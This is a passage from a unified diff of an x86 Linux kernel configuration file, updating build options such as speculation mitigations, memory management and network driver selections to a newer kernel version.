CONFIG_X86_INTEL_LPSS is not set @@ -293,11 +297,13 @@ CONFIG_CPU_SUP_INTEL=y CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y +CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 CONFIG_NR_CPUS=64 +CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y @@ -308,7 +314,6 @@ CONFIG_X86_MCE=y # CONFIG_X86_MCELOG_LEGACY is not set CONFIG_X86_MCE_INTEL=y CONFIG_X86_MCE_THRESHOLD=y -CONFIG_X86_THERMAL_VECTOR=y # # Performance monitoring @@ -320,7 +325,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -329,16 +333,14 @@ CONFIG_X86_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set -CONFIG_X86_RESERVE_LOW=64 # CONFIG_MTRR is not set -CONFIG_ARCH_RANDOM=y -# CONFIG_X86_SMAP is not set # CONFIG_X86_UMIP is not set +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set CONFIG_X86_INTEL_TSX_MODE_OFF=y # CONFIG_X86_INTEL_TSX_MODE_ON is not set @@ -361,17 +363,22 @@ CONFIG_PHYSICAL_ALIGN=0x1000000 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -# CONFIG_LEGACY_VSYSCALL_EMULATE is not set # CONFIG_LEGACY_VSYSCALL_XONLY is not set CONFIG_LEGACY_VSYSCALL_NONE=y # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +# CONFIG_PAGE_TABLE_ISOLATION is not set +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options @@ -386,13 +393,13 @@ CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set CONFIG_ACPI_LPIT=y CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y # CONFIG_ACPI_EC_DEBUGFS is not set CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y -CONFIG_ACPI_VIDEO=y CONFIG_ACPI_FAN=y # CONFIG_ACPI_DOCK is not set CONFIG_ACPI_CPU_FREQ_PSS=y @@ -420,9 +427,11 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # CONFIG_ACPI_APEI is not set # CONFIG_ACPI_DPTF is not set # CONFIG_ACPI_CONFIGFS is not set +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y # CONFIG_PMIC_OPREGION is not set +CONFIG_ACPI_PRMT=y CONFIG_X86_PM_TIMER=y -# CONFIG_SFI is not set # # CPU Frequency scaling @@ -446,6 +455,8 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y # CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -475,56 +486,15 @@ CONFIG_PCI_DIRECT=y # CONFIG_PCI_CNB20LE_QUIRK is not set # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y -# CONFIG_X86_SYSFB is not set # end of Bus options (PCI etc.) # # Binary Emulations # # CONFIG_IA32_EMULATION is not set -# CONFIG_X86_X32 is not set +# CONFIG_X86_X32_ABI is not set # end of Binary Emulations -# -# Firmware Drivers -# -# CONFIG_EDD is not set -# CONFIG_FIRMWARE_MEMMAP is not set -# CONFIG_DMIID is not set -# CONFIG_DMI_SYSFS is not set -CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y -# CONFIG_FW_CFG_SYSFS is not set -CONFIG_GOOGLE_FIRMWARE=y -# CONFIG_GOOGLE_SMI is not set -CONFIG_GOOGLE_COREBOOT_TABLE=y -CONFIG_GOOGLE_MEMCONSOLE=y -CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY=y -CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y -# CONFIG_GOOGLE_VPD is not set - -# -# EFI (Extensible Firmware Interface) Support -# -# CONFIG_EFI_VARS is not set -CONFIG_EFI_ESRT=y -CONFIG_EFI_RUNTIME_MAP=y -# CONFIG_EFI_FAKE_MEMMAP is not set -CONFIG_EFI_RUNTIME_WRAPPERS=y -# CONFIG_EFI_BOOTLOADER_CONTROL is not set -# CONFIG_EFI_CAPSULE_LOADER is not set -# CONFIG_EFI_TEST is not set -# CONFIG_EFI_RCI2_TABLE is not set -# CONFIG_EFI_DISABLE_PCI_DMA is not set -# end of EFI (Extensible Firmware Interface) Support - -CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y - -# -# Tegra firmware driver -# -# end of Tegra firmware driver -# end of Firmware Drivers - CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y @@ -539,8 +509,6 @@ CONFIG_CRASH_CORE=y CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y CONFIG_GENERIC_ENTRY=y -CONFIG_HAVE_OPROFILE=y -CONFIG_OPROFILE_NMI_TIMER=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -552,8 +520,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y @@ -562,9 +533,11 @@ CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y @@ -575,6 +548,7 @@ CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y @@ -586,36 +560,65 @@ CONFIG_HAVE_ARCH_STACKLEAK=y CONFIG_HAVE_STACKPROTECTOR=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y CONFIG_HAVE_STACK_VALIDATION=y CONFIG_HAVE_RELIABLE_STACKTRACE=y # CONFIG_COMPAT_32BIT_TIME is not set CONFIG_HAVE_ARCH_VMAP_STACK=y CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling @@ -624,6 +627,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -634,19 +639,21 @@ CONFIG_MODULES=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -# CONFIG_UNUSED_SYMBOLS is not set +CONFIG_MODPROBE_PATH="/sbin/modprobe" CONFIG_TRIM_UNUSED_KSYMS=y CONFIG_UNUSED_KSYMS_WHITELIST="" CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set -# CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set # CONFIG_BLK_SED_OPAL is not set # CONFIG_BLK_INLINE_ENCRYPTION is not set @@ -660,6 +667,8 @@ CONFIG_EFI_PARTITION=y # end of Partition Types CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -669,11 +678,7 @@ CONFIG_MQ_IOSCHED_DEADLINE=y # CONFIG_IOSCHED_BFQ is not set # end of IO Schedulers -CONFIG_INLINE_SPIN_UNLOCK_IRQ=y -CONFIG_INLINE_READ_UNLOCK=y -CONFIG_INLINE_READ_UNLOCK_IRQ=y -CONFIG_INLINE_WRITE_UNLOCK=y -CONFIG_INLINE_WRITE_UNLOCK_IRQ=y +CONFIG_UNINLINE_SPIN_UNLOCK=y CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y CONFIG_MUTEX_SPIN_ON_OWNER=y CONFIG_RWSEM_SPIN_ON_OWNER=y @@ -699,38 +704,71 @@ CONFIG_BINFMT_SCRIPT=y # # Memory Management options # -CONFIG_SELECT_MEMORY_MODEL=y -CONFIG_SPARSEMEM_MANUAL=y +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set CONFIG_PHYS_ADDR_T_64BIT=y -CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set -# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ARCH_WANTS_THP_SWAP=y -# CONFIG_CLEANCACHE is not set +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y +# CONFIG_VM_EVENT_COUNTERS is not set # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set + +# +# GUP_TEST needs to have DEBUG_FS enabled +# CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options CONFIG_NET=y @@ -742,6 +780,7 @@ CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set # CONFIG_XFRM_USER is not set @@ -758,6 +797,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -776,10 +816,8 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_ATM is not set # CONFIG_L2TP is not set # CONFIG_BRIDGE is not set -CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -799,12 +837,13 @@ CONFIG_HAVE_NET_DSA=y # CONFIG_NET_L3_MASTER_DEV is not set # CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y CONFIG_XPS=y CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y -# CONFIG_BPF_JIT is not set CONFIG_NET_FLOW_LIMIT=y # @@ -819,8 +858,8 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_BT is not set # CONFIG_AF_RXRPC is not set # CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set # CONFIG_WIRELESS is not set -# CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set @@ -831,7 +870,6 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_LWTUNNEL is not set # CONFIG_FAILOVER is not set CONFIG_ETHTOOL_NETLINK=y -CONFIG_HAVE_EBPF_JIT=y # # Device Drivers @@ -860,6 +898,8 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCIE_BUS_SAFE is not set # CONFIG_PCIE_BUS_PERFORMANCE is not set # CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -897,6 +937,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set @@ -906,6 +947,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -916,6 +958,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -935,9 +978,59 @@ CONFIG_DMA_SHARED_BUFFER=y # Bus devices # # CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set # end of Bus devices # CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +# CONFIG_SYSFB_SIMPLEFB is not set +CONFIG_GOOGLE_FIRMWARE=y +# CONFIG_GOOGLE_SMI is not set +CONFIG_GOOGLE_COREBOOT_TABLE=y +CONFIG_GOOGLE_MEMCONSOLE=y +CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY=y +CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y +# CONFIG_GOOGLE_VPD is not set + +# +# EFI (Extensible Firmware Interface) Support +# +CONFIG_EFI_ESRT=y +CONFIG_EFI_RUNTIME_MAP=y +# CONFIG_EFI_FAKE_MEMMAP is not set +CONFIG_EFI_RUNTIME_WRAPPERS=y +# CONFIG_EFI_BOOTLOADER_CONTROL is not set +# CONFIG_EFI_CAPSULE_LOADER is not set +# CONFIG_EFI_TEST is not set +# CONFIG_EFI_RCI2_TABLE is not set +# CONFIG_EFI_DISABLE_PCI_DMA is not set +CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y +# CONFIG_EFI_DISABLE_RUNTIME is not set +# CONFIG_EFI_COCO_SECRET is not set +# end of EFI (Extensible Firmware Interface) Support + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # CONFIG_GNSS is not set # CONFIG_MTD is not set # CONFIG_OF is not set @@ -955,27 +1048,24 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 -# CONFIG_BLK_DEV_CRYPTOLOOP is not set # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set -# CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_CDROM_PKTCDVD is not set # CONFIG_ATA_OVER_ETH is not set # CONFIG_BLK_DEV_RBD is not set -# CONFIG_BLK_DEV_RSXX is not set +# CONFIG_BLK_DEV_UBLK is not set # # NVME Support # # CONFIG_BLK_DEV_NVME is not set # CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set # end of NVME Support # @@ -998,9 +1088,9 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_HMC6352 is not set # CONFIG_DS1682 is not set # CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set # CONFIG_XILINX_SDFEC is not set -# CONFIG_PVPANIC is not set # CONFIG_C2PORT is not set # @@ -1029,21 +1119,21 @@ CONFIG_INTEL_MEI_TXE=m # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set # CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y # CONFIG_RAID_ATTRS is not set +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y # CONFIG_SCSI_PROC_FS is not set @@ -1055,6 +1145,7 @@ CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set CONFIG_BLK_DEV_SR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set @@ -1089,6 +1180,7 @@ CONFIG_SATA_PMP=y CONFIG_SATA_AHCI=y CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1160,12 +1252,6 @@ CONFIG_NET_CORE=y # CONFIG_VETH is not set # CONFIG_NLMON is not set # CONFIG_ARCNET is not set - -# -# Distributed Switch Architecture drivers -# -# end of Distributed Switch Architecture drivers - CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set @@ -1177,21 +1263,25 @@ CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_AMD is not set # CONFIG_NET_VENDOR_AQUANTIA is not set # CONFIG_NET_VENDOR_ARC is not set +CONFIG_NET_VENDOR_ASIX=y # CONFIG_NET_VENDOR_ATHEROS is not set -# CONFIG_NET_VENDOR_AURORA is not set +# CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set -# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_CADENCE is not set # CONFIG_NET_VENDOR_CAVIUM is not set # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set # CONFIG_NET_VENDOR_CORTINA is not set -# CONFIG_CX_ECAT is not set +CONFIG_NET_VENDOR_DAVICOM=y # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set +CONFIG_NET_VENDOR_ENGLEDER=y +# CONFIG_TSNEP is not set # CONFIG_NET_VENDOR_EZCHIP is not set +CONFIG_NET_VENDOR_FUNGIBLE=y +# CONFIG_FUN_ETH is not set # CONFIG_NET_VENDOR_GOOGLE is not set # CONFIG_NET_VENDOR_HUAWEI is not set # CONFIG_NET_VENDOR_I825XX is not set @@ -1210,24 +1300,30 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set +CONFIG_NET_VENDOR_WANGXUN=y +# CONFIG_NGBE is not set +# CONFIG_TXGBE is not set # CONFIG_JME is not set +CONFIG_NET_VENDOR_LITEX=y # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MICROCHIP is not set # CONFIG_NET_VENDOR_MICROSEMI is not set +CONFIG_NET_VENDOR_MICROSOFT=y # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set +# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NATSEMI is not set # CONFIG_NET_VENDOR_NETERION is not set # CONFIG_NET_VENDOR_NETRONOME is not set -# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NVIDIA is not set # CONFIG_NET_VENDOR_OKI is not set # CONFIG_ETHOC is not set # CONFIG_NET_VENDOR_PACKET_ENGINES is not set # CONFIG_NET_VENDOR_PENSANDO is not set # CONFIG_NET_VENDOR_QLOGIC is not set +# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_QUALCOMM is not set # CONFIG_NET_VENDOR_RDC is not set # CONFIG_NET_VENDOR_REALTEK is not set @@ -1235,9 +1331,9 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_ROCKER is not set # CONFIG_NET_VENDOR_SAMSUNG is not set # CONFIG_NET_VENDOR_SEEQ is not set -# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SILAN is not set # CONFIG_NET_VENDOR_SIS is not set +# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SMSC is not set # CONFIG_NET_VENDOR_SOCIONEXT is not set # 